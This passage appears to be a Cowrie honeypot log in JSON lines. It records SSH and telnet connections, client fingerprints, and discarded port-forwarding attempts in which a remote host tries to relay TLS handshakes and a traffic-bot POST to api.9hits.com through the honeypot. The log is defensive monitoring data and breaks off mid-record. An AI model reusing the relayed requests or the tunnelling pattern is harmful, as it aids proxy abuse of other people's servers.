{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:48.005890Z","src_ip":"63.141.242.2","session":"952afd2d32d6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03:\\xf2\\xb6A\\xbe\\xce5H\\xa7\\xd6\\xa7\\xb4<O\\x1bh\\xbb\\x0c\\xa7L\\xbd\\xa2\\xa2\\xcf{\\x145\\xffp+C\\xad ^I\\x14\\xf8\\xcb\\xae\\x1e\\x82\\xfe^x\\xa9k\\xbb\\xc4E\\xd7\\xd3\\xe9C\\xd3\\xdd\\x9e\\x95\\x02:)[7\\x0f\\x1f\\xa4\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x19\\xec\\xb5\\x9c}rD\\x9a\\x12\\xd0\\x16Na\\xa6\\xb8#\\xd7\\xa6%T&\\xc4\\x98\\x86\\x8e\\x03\\xd3@8s\\xb3A\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03:\\xf2\\xb6A\\xbe\\xce5H\\xa7\\xd6\\xa7\\xb4<O\\x1bh\\xbb\\x0c\\xa7L\\xbd\\xa2\\xa2\\xcf{\\x145\\xffp+C\\xad ^I\\x14\\xf8\\xcb\\xae\\x1e\\x82\\xfe^x\\xa9k\\xbb\\xc4E\\xd7\\xd3\\xe9C\\xd3\\xdd\\x9e\\x95\\x02:)[7\\x0f\\x1f\\xa4\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x19\\xec\\xb5\\x9c}rD\\x9a\\x12\\xd0\\x16Na\\xa6\\xb8#\\xd7\\xa6%T&\\xc4\\x98\\x86\\x8e\\x03\\xd3@8s\\xb3A\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:48.008984Z","src_ip":"63.141.242.2","session":"952afd2d32d6","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:48.072136Z","src_ip":"91.92.40.36","session":"5ea2c4e5c8e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:48.076320Z","src_ip":"91.92.40.36","session":"5ea2c4e5c8e2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:48.222156Z","session":"952afd2d32d6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:48.267134Z","src_ip":"63.141.242.2","session":"952afd2d32d6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd5\\xf6\\xee\\x9e]\\x94i(\\xa4\\x12\\xf7\\xb3Q\\xed\\xf1#<r\\xc2\\x1d\\xe1\\x96\\xa8\\xc2\\xe2\\xc3\\xbc%*$6\\xb9 \\x88BM\\x10\\xc4\\xb6\\x1e\\xcfUD+\\x1b\\xf8K\\xc1\\x91\\x1f\\x7f\\xb2\\xa2Ki\\x81\\xd03?\\x84.\\xe5\\t\\r\\xed\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 +K?\\xd6D\\xe9\\xc3\\xe1\\x86s\\x9eV\\xb09orv\\xa8\\xee\\x03i?\\x9b\\x86[:l\\x8f\\x8d\\xe86)\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd5\\xf6\\xee\\x9e]\\x94i(\\xa4\\x12\\xf7\\xb3Q\\xed\\xf1#<r\\xc2\\x1d\\xe1\\x96\\xa8\\xc2\\xe2\\xc3\\xbc%*$6\\xb9 \\x88BM\\x10\\xc4\\xb6\\x1e\\xcfUD+\\x1b\\xf8K\\xc1\\x91\\x1f\\x7f\\xb2\\xa2Ki\\x81\\xd03?\\x84.\\xe5\\t\\r\\xed\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 +K?\\xd6D\\xe9\\xc3\\xe1\\x86s\\x9eV\\xb09orv\\xa8\\xee\\x03i?\\x9b\\x86[:l\\x8f\\x8d\\xe86)\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:48.272905Z","src_ip":"63.141.242.2","session":"952afd2d32d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":34134,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ad3d6b560b0","protocol":"telnet","message":"New connection: 94.23.66.112:34134 (10.17.0.5:23) [session: 8ad3d6b560b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:48.647744Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":16700,"dst_ip":"10.17.0.5","dst_port":22,"session":"d70aa61c6caa","protocol":"ssh","message":"New connection: 45.153.34.195:16700 (10.17.0.5:22) [session: d70aa61c6caa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:48.995101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:49.000059Z","src_ip":"45.153.34.195","session":"d70aa61c6caa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:49.083032Z","src_ip":"45.153.34.195","session":"d70aa61c6caa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:49.282771Z","session":"952afd2d32d6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:49.288272Z","session":"952afd2d32d6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:49.322369Z","src_ip":"63.141.242.2","session":"952afd2d32d6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2; rv:73.0) Gecko/20100101 Firefox/73.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1184\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=RylSV2Z1OXVPVCZ5WFl4NA%3D%3D6QM%2BeBKxwdDLXWmPUPys06p4BNT6Dz9HOB0RWx27nQ29i8Ucn60wypQbfSRBx1zzZOCsrKiW8G7VyIwv4rDmIttSlMVqys8rQFRHyo%2B0Nq5ZD0xjvV8I6RMZ%2FHhXlLGKjorN3xuDib9OSoWkR2sQluUwO%2FokM8DWI5To5vQSVt3GFkgTAR4%2FMSmIJv1n%2B2FJStptNzczhdlKT%2FqMqfbiJSRwdF8W94v3uf8eVqTa2IuaxVdjozjKVgaKN1DWgWY68%2BFcbu3n2zXutYrn%2BjdFXKvmXU8rB8b3swcbNiu0inopqjbslblxttJR9UUotMX85Hl3cpVOT7nqZ0ENKjWksnZnAI0bd4i6Z8iW5m1oWqwEoGm3bFQ1pBxEw35pglbjO1jrVENtwLaHa3d%2F7ozolrnMAkKU6rQ6vMRrYmP7MMJRFiC0lEUu5TeVYF%2FNRfWlQKkNdd6pbj3iNSiVkVf1zQ2YCfyygfNS%2Fh4CV%2FEV0IG9pHsInZpkJTd24yea00RKSVlfzaMEx95aEsdjZE0W9ONTp7Vd%2B%2FtQVnHhQ7r%2FjwFWw7AQ32P%2FRXcp4uuRyfOkXCUABacLWjOiXRkuZctfqQYXtEtkF9Rxf0Xbj2Qx4caqi0efS9waZsIGqaCHTbwBM5jGeljOUrBJI8ZY3ExpDFwdu8Kw1OKVgT3Ncxu%2B9h8BAkBrV45BkRxazkCBp0VFnWuWw5FPaJtw5RrbFlJYzv9moe%2FIFxdSYOxx2YD%2FAmVMg2huEPt69ZxdHSPs6EwZv1cF32k%2Fq1a8wt7OJzGgYUJAirNwCoDvgM8%2B%2FQ1ZIsxe7om3694tRbwWxo3J84tCHK1w51QHPyABu7ztxV5CkBjVl6gr%2BFXGNyg04pK%2FIgrUUokrZqAXuyEpzL2sQr79HBX8Y%2BhHvVShVeOFk%2BBEBHx%2BuO2VDEBbKFB7w0%2BbremHUSTjHnIFzMyXGjXjhca%2FlgEov5ndAFeESGhhY1DZ9uKneUbNXliLV7fJK6IEHTybvgCSY8sU0H96UeFKf0wQ5qjuCKP4Q2EA5iFwbY4ijZjpnlCK84wbXk1Qy%2FBsG%2FZ6BhhNYWzg%2BqO96L7xK5Xq'","id":2,"message":"discarded direct-tcp forward request 2 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2; rv:73.0) Gecko/20100101 Firefox/73.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1184\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=RylSV2Z1OXVPVCZ5WFl4NA%3D%3D6QM%2BeBKxwdDLXWmPUPys06p4BNT6Dz9HOB0RWx27nQ29i8Ucn60wypQbfSRBx1zzZOCsrKiW8G7VyIwv4rDmIttSlMVqys8rQFRHyo%2B0Nq5ZD0xjvV8I6RMZ%2FHhXlLGKjorN3xuDib9OSoWkR2sQluUwO%2FokM8DWI5To5vQSVt3GFkgTAR4%2FMSmIJv1n%2B2FJStptNzczhdlKT%2FqMqfbiJSRwdF8W94v3uf8eVqTa2IuaxVdjozjKVgaKN1DWgWY68%2BFcbu3n2zXutYrn%2BjdFXKvmXU8rB8b3swcbNiu0inopqjbslblxttJR9UUotMX85Hl3cpVOT7nqZ0ENKjWksnZnAI0bd4i6Z8iW5m1oWqwEoGm3bFQ1pBxEw35pglbjO1jrVENtwLaHa3d%2F7ozolrnMAkKU6rQ6vMRrYmP7MMJRFiC0lEUu5TeVYF%2FNRfWlQKkNdd6pbj3iNSiVkVf1zQ2YCfyygfNS%2Fh4CV%2FEV0IG9pHsInZpkJTd24yea00RKSVlfzaMEx95aEsdjZE0W9ONTp7Vd%2B%2FtQVnHhQ7r%2FjwFWw7AQ32P%2FRXcp4uuRyfOkXCUABacLWjOiXRkuZctfqQYXtEtkF9Rxf0Xbj2Qx4caqi0efS9waZsIGqaCHTbwBM5jGeljOUrBJI8ZY3ExpDFwdu8Kw1OKVgT3Ncxu%2B9h8BAkBrV45BkRxazkCBp0VFnWuWw5FPaJtw5RrbFlJYzv9moe%2FIFxdSYOxx2YD%2FAmVMg2huEPt69ZxdHSPs6EwZv1cF32k%2Fq1a8wt7OJzGgYUJAirNwCoDvgM8%2B%2FQ1ZIsxe7om3694tRbwWxo3J84tCHK1w51QHPyABu7ztxV5CkBjVl6gr%2BFXGNyg04pK%2FIgrUUokrZqAXuyEpzL2sQr79HBX8Y%2BhHvVShVeOFk%2BBEBHx%2BuO2VDEBbKFB7w0%2BbremHUSTjHnIFzMyXGjXjhca%2FlgEov5ndAFeESGhhY1DZ9uKneUbNXliLV7fJK6IEHTybvgCSY8sU0H96UeFKf0wQ5qjuCKP4Q2EA5iFwbY4ijZjpnlCK84wbXk1Qy%2FBsG%2FZ6BhhNYWzg%